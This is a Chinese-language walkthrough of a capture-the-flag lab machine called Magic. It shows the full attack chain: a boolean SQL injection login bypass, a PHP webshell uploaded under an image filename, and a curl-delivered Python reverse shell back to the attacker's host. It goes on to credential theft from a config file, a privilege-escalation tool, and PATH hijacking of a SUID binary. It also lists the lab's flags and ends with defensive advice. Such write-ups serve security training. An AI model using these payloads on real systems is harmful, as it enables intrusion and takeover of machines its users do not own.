[Meachines] [Medium] Magic SQLI+文件上传+跳关TRP00F权限提升+环境变量劫持权限提升
字数 1093 2025-08-19 12:41:32
Magic靶机渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.185 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
- 80/tcp: Apache httpd 2.4.29 (Ubuntu)
- 操作系统: Ubuntu Linux
1.2 目录枚举
使用Gobuster进行目录扫描:
gobuster dir -u 'http://10.10.10.185/' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -b 403,404 -x php,txt,html
2. Web应用渗透
2.1 SQL注入漏洞利用
在登录页面发现SQL注入漏洞:
- URL: http://10.10.10.185/login.php
- 注入Payload:
username: admin' or '1'='1 password: xxxx
2.2 文件上传漏洞利用
上传PHP webshell文件:
-
构造恶意图片文件"Screenshot_2024-08-08_08_28_47.php.png",内容包含:
<?php system($_GET['cmd']); phpinfo(); -
上传请求示例:
POST /upload.php HTTP/1.1
Host: 10.10.10.185
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRSRyaClLcBoHRDRp
------WebKitFormBoundaryRSRyaClLcBoHRDRp
Content-Disposition: form-data; name="image"; filename="Screenshot_2024-08-08_08_28_47.php.png"
Content-Type: image/png
PNG<?php system($_GET['cmd']); phpinfo();
------WebKitFormBoundaryRSRyaClLcBoHRDRp
Content-Disposition: form-data; name="submit"
Upload Image
------WebKitFormBoundaryRSRyaClLcBoHRDRp--
- 访问上传的文件执行命令:
curl 'http://10.10.10.185/images/uploads/Screenshot_2024-08-08_08_28_46.php.png?cmd=python3+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%2210.10.16.24%22%2c10034))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3bos.dup2(s.fileno()%2c2)%3bimport+pty%3b+pty.spawn(%22%2fbin%2fbash%22)%27'
3. 权限提升
3.1 使用TRP00F进行关卡绕过
从www-data用户直接提升到Root权限:
-
下载TRP00F工具:
https://github.com/MartinxMax/trp00f -
执行命令:
python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10035 --http 9999
3.2 数据库凭证获取
在/var/www/Magic/db.php5文件中发现数据库凭证:
- 用户名: theseus
- 密码: iamkingtheseus
3.3 MySQL数据库访问
- 使用chisel将3306端口转发到本地:
- 连接MySQL数据库:
mysql -h 127.0.0.1 -utheseus -p
- 查询敏感数据:
select * from Magic.login;
- 获取密码: Th3s3usW4sK1ng
- 切换用户:
su theseus
3.4 获取user flag
cat /home/theseus/user.txt
- 内容: 0f8c7dc6b4de6fc370a9d193350ce15c
4. 最终权限提升
4.1 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
4.2 分析/bin/sysinfo
strings /bin/sysinfo
4.3 环境变量劫持
- 创建恶意cat命令:
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
- 修改PATH环境变量:
export PATH=/tmp:$PATH
- 执行sysinfo触发:
sysinfo
4.4 获取root flag
cat /root/root.txt
- 内容: 9f8904b0558514cb9b60c6c6985dddbd
5. 关键知识点总结
- SQL注入:使用简单的布尔型注入绕过认证
- 文件上传绕过:通过修改文件内容和Content-Type上传PHP webshell
- TRP00F工具:用于特权提升的特殊工具
- 环境变量劫持:通过PATH变量前置恶意程序路径实现特权提升
- 数据库凭证泄露:从配置文件中获取敏感信息
- SUID滥用:利用配置不当的SUID程序进行权限提升
6. 防御建议
- 使用参数化查询防止SQL注入
- 严格限制上传文件类型,验证文件内容
- 定期更新系统和软件补丁
- 限制SUID程序数量,审查现有SUID程序
- 使用最小权限原则运行服务
- 保护配置文件,避免敏感信息泄露